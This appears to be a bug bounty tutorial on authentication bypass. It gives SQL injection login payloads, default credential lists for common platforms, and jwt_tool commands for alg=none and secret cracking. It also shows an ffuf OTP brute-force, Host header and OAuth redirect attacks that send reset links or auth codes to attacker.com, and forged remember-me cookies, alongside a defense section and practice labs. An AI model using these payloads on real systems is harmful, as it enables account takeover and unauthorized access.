Authentication Bypass β
Complete Bug Bounty Guide 2026
Authentication Bypass lets attackers access accounts, admin panels, and sensitive data without valid credentials. This guide covers every technique β SQL injection, JWT bypass, default credentials, MFA bypass, OAuth flaws, and more.
π What is Authentication Bypass?
Authentication Bypass occurs when an attacker gains access to a system, account, or protected resource without providing valid credentials. The application’s authentication mechanism is circumvented β not by guessing the correct password, but by finding a way to skip or trick the verification step entirely.
Authentication Bypass β attacker accesses protected resources without valid credentials
Authentication Bypass is not about guessing passwords β it is about finding flaws that let you skip or trick the authentication step. SQL injection makes the password check always true. JWT bypass creates a forged token. Default credentials mean nobody changed the factory password. All lead to the same result: full unauthorized access.
Imagine a door with a lock. Authentication Bypass means you get through without the key β not by breaking the lock, but by finding a hidden entrance, or by convincing the doorman you already showed your ID. With SQL injection, you tell the lock ' OR 1=1-- which makes it think any password is correct. The door opens. You are in.
β‘ 10 Types of Authentication Bypass
' OR 1=1-- in username β makes WHERE clause always truefalse β true in login response β auth in frontend onlyπ Authentication Bypass β Quick Reference
| Field | Details |
|---|---|
| Vulnerability | Authentication Bypass |
| Also Known As | Auth Bypass, Login Bypass, Broken Authentication, Credential Bypass |
| OWASP | A07:2021 β Identification and Authentication Failures |
| CVE Score | 8.0 β 10.0 (almost always Critical) |
| Severity | Critical β no credentials = full unauthorized access |
| Root Cause | Improper input validation; client-side auth logic; JWT not verified; default creds unchanged |
| Where to Check | /login, /api/auth, JWT tokens, OAuth flows, /admin, password reset, MFA endpoints |
| Best Tools | Burp Suite, SQLMap, jwt_tool, Hydra, ffuf, curl, Postman |
| Practice Labs | PortSwigger Authentication Labs, PortSwigger JWT Labs, DVWA, HackTheBox, TryHackMe |
| Difficulty | Beginner (default creds, SQLi) | Intermediate (JWT, response manipulation) | Advanced (OAuth, logic flaws) |
| Post Exploitation | Access all user accounts | Admin panel | Full DB export | Pivot to RCE via file upload |
| Related Vulns | Vertical Privilege Escalation, Information Disclosure, Forced Browsing |
π SQL Injection Authentication Bypass β Payload Table
SQL injection auth bypass works when the login query concatenates user input directly. These payloads make the WHERE clause always evaluate to true, granting access without a valid password.
| Payload | Type | Why It Works |
|---|---|---|
| ‘ OR 1=1– | Classic MySQL | WHERE clause always true, — comments out password check |
| ‘ OR ‘1’=’1 | No comment needed | String comparison always evaluates true |
| admin’– | Target specific user | Comments out password check for admin account only |
| ” OR “”=”” | Double-quote variant | For apps that use double quotes around parameters |
| ‘ OR 1=1# | MySQL hash comment | Alternative comment syntax, works in MySQL |
| ‘) OR (‘1’=’1 | Parenthesis bypass | For queries wrapped in extra parentheses |
| ‘ OR 1=1 LIMIT 1– | Limit variant | When multiple rows cause an application error |
| ‘ UNION SELECT 1,1– | UNION-based | When query result must match specific column count |
# Vulnerable query β developer concatenates input directly: query = "SELECT * FROM users WHERE username='" + user + "' AND password='" + pwd + "'" # Attacker sends: username = admin'-- # Query becomes: SELECT * FROM users WHERE username='admin'--' AND password='anything' # ^^ comments out the password check # Result: logs in as admin without any password # Fix: use parameterized queries / prepared statements
π§ Manual Testing for Authentication Bypass
Phase 1 β SQL Injection Auth Bypass
# Test 1 β classic bypass username=' OR 1=1--&password=anything # Test 2 β target admin specifically username=admin'--&password=anything # Test 3 β JSON-based login {"username": "admin'--", "password": "anything"} # Test 4 β both fields username=' OR '1'='1&password=' OR '1'='1 # Success indicators: HTTP/1.1 200 OK + Set-Cookie: session=xxxx HTTP/1.1 302 β /dashboard Response body contains username/email of user
Phase 2 β Default Credentials
# Universal defaults β try ALL: admin:admin admin:password admin:admin123 admin:123456 root:root root:toor administrator:administrator test:test guest:guest demo:demo user:user # Platform-specific defaults: Jenkins: admin:admin Tomcat: tomcat:tomcat | admin:s3cret Grafana: admin:admin WordPress: admin:admin phpMyAdmin: root:(blank password) Jira: admin:admin
Phase 3 β Response Manipulation
# Original response (wrong password): HTTP/1.1 401 Unauthorized {"success": false, "authenticated": false} # Modified before forwarding: HTTP/1.1 200 OK {"success": true, "authenticated": true} # Forward β if dashboard loads = frontend-only auth confirmed # Then test if backend API calls also work = full bypass
Phase 4 β JWT Authentication Bypass
# Step 1: Decode JWT (find in Authorization header or Cookie) python3 jwt_tool.py YOUR_TOKEN # Or: echo "payload" | base64 -d # Typical payload: {"user_id": 1001, "role": "user", "exp": 9999999999} # Attack 1: alg=none (no signature required) python3 jwt_tool.py TOKEN -X a # Attack 2: Tamper role claim interactively python3 jwt_tool.py TOKEN -T # Change: role: "user" β role: "admin" # Attack 3: Crack weak HMAC secret python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt
Phase 5 β Password Reset Logic Flaw
# Test 1: Get session token from reset without clicking email link POST /api/password/reset {"email": "victim@target.com"} # Does response include session token? β CRITICAL # Test 2: Use your reset token for another user's account POST /api/password/reset/confirm {"token": "YOUR_VALID_TOKEN", "user_id": 1002, "new_password": "hacked"} # Test 3: Host header injection β steal reset link POST /api/password/reset Host: attacker.com {"email": "victim@target.com"} # Victim's reset email links to attacker.com
Phase 6 β MFA Bypass
# Bypass 1: Skip MFA step β hit post-MFA endpoint directly # After password: instead of POST /mfa/verify GET /dashboard β try going here directly # Bypass 2: Response manipulation at MFA step {"mfa_required": true} β change to β {"mfa_required": false} # Bypass 3: Brute-force 6-digit OTP (if no rate limit) ffuf -u https://target.com/mfa/verify \ -X POST \ -d '{"otp":"FUZZ"}' \ -w <(seq -w 000000 999999) \ -mc 200 # Bypass 4: Null / empty OTP value {"otp": null} | {"otp": ""} | {"otp": 0}
π€ Best Tools for Authentication Bypass Testing
Proxy β HTTP History β Send to Repeater
sqlmap -u URL --data "user=x&pass=y" --dbs
python3 jwt_tool.py TOKEN -T
hydra -L users.txt -P pass.txt target http-post-form
ffuf -u URL -d "otp=FUZZ" -w otps.txt -mc 200
curl -X POST URL -d "user=admin'--&pass=x"
π₯ Burp Suite β Authentication Bypass Guide
' OR 1=1-- β send. Look for 200 OK with Set-Cookie or redirect to /dashboard.false β true in response β forward.Β§adminΒ§ and Β§adminΒ§ β Attack type: Pitchfork β Payload 1: usernames, Payload 2: matching passwords β sort by response length.role, admin, isAdmin claims β tamper in jwt_tool.username=admin, replace with username=admin'-- β browse app β every request auto-injects payload.π£ Advanced Authentication Bypass Techniques
OAuth Authentication Bypass β Missing State Parameter
# Normal OAuth flow includes state validation: GET /oauth/authorize?client_id=xxx&state=RANDOM_VALUE GET /callback?code=AUTH_CODE&state=RANDOM_VALUE β verified # Attack: if state not verified β CSRF possible # Force victim to visit your crafted link # Their OAuth account links to attacker's app session # Attacker authenticates via Google as victim # Attack: open redirect in redirect_uri GET /oauth/authorize?redirect_uri=https://attacker.com/steal # Auth code sent to attacker β exchange for token β full access
Multi-Step Auth Logic Flaw β Skip Steps
# Normal flow: Step 1: POST /auth/step1 {username, password} Step 2: POST /auth/step2 {mfa_code} Step 3: GET /auth/complete β session created # Bypass: skip step 1 and 2, call step 3 directly GET /auth/complete β no prior token needed? # Or: manipulate step indicator in body POST /auth {"username": "admin", "password": "test", "step": 3, "mfa_verified": true}
Insecure Remember-Me Token Bypass
# Check remember-me cookie value in browser DevTools remember_me=dXNlcjoxMDAxOjE3MDAwMDAwMDA= # Decode: echo 'dXNlcjoxMDAxOjE3MDAwMDAwMDA=' | base64 -d # Output: user:1001:1700000000 # Forge for another user: echo -n 'user:1002:1700000000' | base64 # Output: dXNlcjoxMDAyOjE3MDAwMDAwMDA= # Set forged cookie in browser β refresh β logged in as user 1002? # Unencrypted remember-me token = Authentication Bypass
π Real Authentication Bypass Bug Chains
π‘οΈ Defense Against Authentication Bypass
Use parameterized queries. Verify JWT signatures. Change all default credentials. Rate limit login. Enforce MFA on every path. Validate OAuth state. Never trust client-side auth.
# SQL β use parameterized query (NEVER concatenate) # WRONG: query = "SELECT * FROM users WHERE user='" + user + "'" # CORRECT: cursor.execute("SELECT * FROM users WHERE user=?", (user,)) # JWT β always verify signature, reject alg=none jwt.decode(token, secret, algorithms=["HS256"], # whitelist ONLY options={"verify_signature": True}) # Rate limiting on login (Express.js) const rateLimit = require('express-rate-limit') app.use('/login', rateLimit({ windowMs: 15 * 60 * 1000, max: 5, # 5 attempts per 15 minutes message: 'Too many attempts' }))
β Use parameterized queries β never concatenate user input in SQL
β JWT: whitelist allowed algorithms, verify signature, reject alg=none
β Change ALL default credentials before deploying to production
β Implement rate limiting: max 5 failed logins β lockout + CAPTCHA
β Password reset tokens: 15-minute expiry, single-use, tied to user ID
β MFA: enforce on EVERY path to post-MFA resources, not just the MFA page
β OAuth: always validate state parameter, whitelist redirect_uri exactly
β Session tokens: cryptographically random, HttpOnly, Secure, proper expiry
π PortSwigger β Authentication Labs (20+ labs)
π PortSwigger β JWT Attack Labs
π OWASP A07:2021 β Authentication Failures
π jwt_tool β Full JWT Attack Suite on GitHub
π Vertical Privilege Escalation Guide
π Sensitive Information Disclosure Guide
π Forced Browsing Complete Guide
π IDOR β Insecure Direct Object Reference
π§ Key Takeaways β Authentication Bypass
- Authentication Bypass is almost always Critical β no credentials = full unauthorized access
- Always test SQLi on login FIRST β simple, fast, and still works in 2024 on many targets
- Try default credentials on EVERY target β admin:admin still works on real production systems
- Test BOTH web UI and API endpoints separately β one may be protected while the other is not
- Response manipulation proves frontend-only auth β then verify backend actions also execute
- JWT alg=none and algorithm confusion are zero-interaction Critical bypasses β decode every JWT
- Password reset flows have the most logic flaws β test every parameter, host header, and expiry
- MFA bypass via direct endpoint access is extremely common β test post-MFA URLs without OTP
- OAuth missing state parameter = CSRF login as any victim β check every OAuth flow
- Always escalate impact: bypass login β show admin access β maximum bounty
In 2022, a password reset endpoint returned a full authenticated session token without verifying the reset link was clicked. POST /api/auth/reset with victim email = instant session. No email access needed. Any user’s account, instantly. Bounty paid: $12,500. One endpoint. One POST request. Full account takeover at scale.

